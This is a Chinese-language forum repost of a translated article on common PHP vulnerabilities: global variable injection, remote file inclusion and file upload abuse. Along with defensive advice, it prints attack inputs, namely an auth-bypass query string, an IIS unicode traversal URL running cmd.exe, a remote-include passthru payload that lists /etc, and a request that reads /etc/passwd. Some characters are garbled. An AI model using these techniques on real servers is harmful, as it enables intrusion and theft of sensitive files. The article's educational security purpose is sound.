php常見的攻擊法

房東：阿樂
發表時間：2007-01-19

如何對PHP程序中的常見漏洞進行攻擊（上）
--------------------------------------------------------------------------------

來源:Chinaasp
之所以翻譯這篇文章，是因為目前關於CGI安全性的文章都是拿Perl作為例子，而專門介紹ASP，PHP或者JSP安全性的文章則很少。Shaun Clowes的這篇文章比較全面地介紹了PHP的安全問題，原文可以在http://www.securereality.com.au/studyinscarlet.txt找到。

由於原文比較長，而且有相當一部分是介紹文章的背景或PHP的基礎知識，沒有涉及到PHP安全方面的內容，因此我沒有翻譯。如果你想瞭解這方面的知識，請參考原文。

文章主要從全局變量，遠程文件，文件上載，庫文件，Session文件，數據類型和容易出錯的函數這幾個方面分析了PHP的安全性，並且對如何增強PHP的安全性提出了一些有用的建議。

好了，廢話少說，我們言歸正傳！

[全局變量]
PHP中的變量不需要事先聲明，它們會在第一次使用時自動創建，它們的類型也不需要指定，它們會根據上下文環境自動確定。從程序員的角度來看，這無疑是一種極其方便的處理方法。很顯然，這也是快速開發語言的一個很有用的特點。一旦一個變量被創建了，就可以在程序中的任何地方使用。這個特點導致的結果就是程序員很少初始化變量，畢竟，當它們第一次創建時，他們是空的。

很顯然，基於PHP的應用程序的主函數一般都是接受用戶的輸入（主要是表單變量，上載文件和Cookie等），然後對輸入數據進行處理，然後把結果返回到客戶端瀏覽器。為了使PHP代碼訪問用戶的輸入盡可能容易，實際上PHP是把這些輸入數據看作全局變量來處理的。

例如：

很顯然，這會顯示一個文本框和提交按鈕。當用戶點擊提交按鈕時，「test.php」會處理用戶的輸入，當「test.php」運行時，「$hello」會包含用戶在文本框輸入的數據。從這裡我們應該看出，攻擊者可以按照自己的意願創建任意的全局變量。如果攻擊者不是通過表單輸入來調用「test.php」，而是直接在瀏覽器地址欄輸入http://server/test.php?hello=hi&setup=no，那麼，不止是「$hello」被創建，「$setup」也被創建了。

譯者註：這兩種方法也就是我們通常說的「POST」和「GET」方法。
下面的用戶認證代碼暴露了PHP的全局變量所導致的安全問題：

if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>

上面的代碼首先檢查用戶的密碼是否為「hello」，如果匹配的話，設置「$auth」為「1」，即通過認證。之後如果「$suth」為「1」的話，就會顯示一些重要信息。

表面看起來是正確的，而且我們中有相當一部分人是這樣做的，但是這段代碼犯了想當然的錯誤，它假定「$auth」在沒有設置值的時候是空的，卻沒有想到攻擊者可以創建任何全局變量並賦值，通過類似「http://server/test.php?auth=1」的方法，我們完全可以欺騙這段代碼，使它相信我們是已經認證過的。

因此，為了提高PHP程序的安全性，我們不能相信任何沒有明確定義的變量。如果程序中的變量很多的話，這可是一項非常艱巨的任務。

一種常用的保護方式就是檢查數組HTTP_GET[]或POST_VARS[]中的變量，這依賴於我們的提交方式（GET或POST）。當PHP配置為打開「track_vars」選項的話（這是缺省值），用戶提交的變量就可以在全局變量和上面提到的數組中獲得。

但是值得說明的是，PHP有四個不同的數組變量用來處理用戶的輸入。HTTP_GET_VARS數組用來處理GET方式提交的變量，HTTP_POST_VARS數組用於處理POST方式提交的變量，HTTP_COOKIE_VARS數組用於處理作為cookie頭提交的變量，而對於HTTP_POST_FILES數組（比較新的PHP才提供），則完全是用戶用來提交變量的一種可選方式。用戶的一個請求可以很容易的把變量存在這四個數組中，因此一個安全的PHP程序應該檢查這四個數組。

[遠程文件]
PHP是一種具有豐富特性的語言，提供了大量的函數，使編程者實現某個弁鄎飫e易。但是從安全的角度來看，弁銃V多，要保證它的安全性就越難，遠程文件就是說明這個問題的一個很好的例子：

if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename
n");
?>

上面的腳本試圖打開文件「$filename」，如果失敗就顯示錯誤信息。很明顯，如果我們能夠指定「$filename」的話，就能利用這個腳本瀏覽系統中的任何文件。但是，這個腳本還存在一個不太明顯的特性，那就是它可以從任何其它WEB或FTP站點讀取文件。實際上，PHP的大多數文件處理函數對遠程文件的處理是透明的。

例如：
如果指定「$filename」為「http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir」
則上面的代碼實際上是利用主機target上的unicode漏洞，執行了dir命令。

這使得支持遠程文件的include()，require()，include_once()和require_once()在上下文環境中變得更有趣。這些函數主要弁酮O包含指定文件的內容，並且把它們按照PHP代碼解釋，主要是用在庫文件上。

例如：
include($libdir . "/languages.php");
?>

上例中「$libdir」一般是一個在執行代碼前已經設置好的路徑，如果攻擊者能夠使得「$libdir」沒有被設置的話，那麼他就可以改變這個路徑。但是攻擊者並不能做任何事情，因為他們只能在他們指定的路徑中訪問文件languages.php（perl中的「Poison null byte」攻擊對PHP沒有作用）。但是由於有了對遠程文件的支持，攻擊者就可以做任何事情。例如，攻擊者可以在某台服務器上放一個文件languages.php，包含如下內容：

passthru("/bin/ls /etc");
?>

然後把「$libdir」設置為「http:///」，這樣我們就可以在目標主機上執行上面的攻擊代碼，「/etc」目錄的內容作為結果返回到客戶的瀏覽器中。

需要注意的是，攻擊服務器（也就是evilhost）應該不能執行PHP代碼，否則攻擊代碼會在攻擊服務器，而不是目標服務器執行，如果你想瞭解具體的技術細節，請參考：http://www.securereality.com.au/sradv00006.txt

[文件上載]
PHP自動支持基於RFC 1867的文件上載，我們看下面的例子：

上面的代碼讓用戶從本地機器選擇一個文件，當點擊提交後，文件就會被上載到服務器。這顯然是很有用的弁遄A但是PHP的響應方式使這項弁鉣靰漱ㄕw全。當PHP第一次接到這種請求，甚至在它開始解析被調用的PHP代碼之前，它會先接受遠程用戶的文件，檢查文件的長度是否超過「$MAX_FILE_SIZE variable」定義的值，如果通過這些測試的話，文件就會被存在本地的一個臨時目錄中。

因此，攻擊者可以發送任意文件給運行PHP的主機，在PHP程序還沒有決定是否接受文件上載時，文件已經被存在服務器上了。

這裡我就不討論利用文件上載來對服務器進行DOS攻擊的可能性了。

讓我們考慮一下處理文件上載的PHP程序，正如我們上面說的，文件被接收並且存在服務器上（位置是在配置文件中指定的，一般是/tmp），擴展名一般是隨機的，類似「phpxXuoXG」的形式。PHP程序需要上載文件的信息以便處理它，這可以通過兩種方式，一種方式是在PHP 3中已經使用的，另一種是在我們對以前的方法提出安全公告後引入的。

但是，我們可以肯定的說，問題還是存在的，大多數PHP程序還是使用老的方式來處理上載文件。PHP設置了四個全局變量來描述上載文件，比如說上面的例子：

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g "c:temphello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")

然後PHP程序開始處理根據「$hello」指定的文件，問題在於「$hello」不一定是一個PHP設置的變量，任何遠程用戶都可以指定它。如果我們使用下面的方式：

http://vulnhost/vuln.php?hello=/etc/passwd..._name=hello.txt

就導致了下面的PHP全局變量（當然POST方式也可以（甚至是Cookie））：

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"

上面的表單數據正好滿足了PHP程序所期望的變量，但是這時PHP程序不再處理上載的文件，而是處理「/etc/passwd」（通常會導致內容暴露）。這種攻擊可以用於暴露任何敏感文件的內容。

我在前面已經說了，新版本的PHP使用HTTP_POST_FILES[]來決定上載文件，同時也提供了很多函數來解決這個問題，例如有一個函數用來判斷某個文件是不是實際上載的文件。這些函數很好的解決了這個問題，但是實際上肯定有很多PHP程序仍然使用舊的方法，很容易受到這種攻擊。

作為文件上載的攻擊方法的一個變種，我們看一下下面的一段代碼：

if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include("$theme");
?>

如果攻擊者可以控制「$theme」的話，很顯然它可以利用「$theme」來讀取遠程系統上的任何文件。攻擊者的最終目標是在遠程服務器上執行任意指令，但是他無法使用遠程文件，因此，他必須得在遠程服務器上創建一個PHP文件。這乍看起來好像是不可能的，但是文件上載幫了我們這個忙，如果攻擊者先在本地機器上創建一個包含PHP代碼的文件，然後創建一個包含名為「theme」的文件域的表單，最後用這個表單通過文件上載把創建的包含PHP代碼的文件提交給上面的代碼，PHP就會把攻擊者提交的文件保存起來，並把「$theme」的值設置為攻擊者提交的文件，這樣file_exists()函數會檢查通過，攻擊者的代碼也將執行。

獲得執行任意指令的能力之後，攻擊者顯然想提升權限或者是擴大戰果，而這又需要一些服務器上沒有的工具集，而文件上載又一次幫了我們這個忙。攻擊者可以使用文件上載弁鄐W載工具，把她們存在服務器上，然後利用他們執行指令的能力，使用chmod()改變文件的權限，然後執行。例如：攻擊者可以繞過防火牆或IDS上載一個本地root攻擊程序，然後執行，這樣就獲得了root權限。

贊助網站

廣利不動產-板橋在地生根最實在--新板特區指名度最高、值得您信賴的好房仲
完整房訊，房屋、店面熱門精選物件，廣利不動產優質仲介，房屋租賃、買賣資訊透明，交易真安心！
廣利不動產-新板特區指名度最高、值得您信賴的好房仲
您的托付,廣利用心為您服務

　共 0 人回應

姓名：

佈告內容：

其他選項: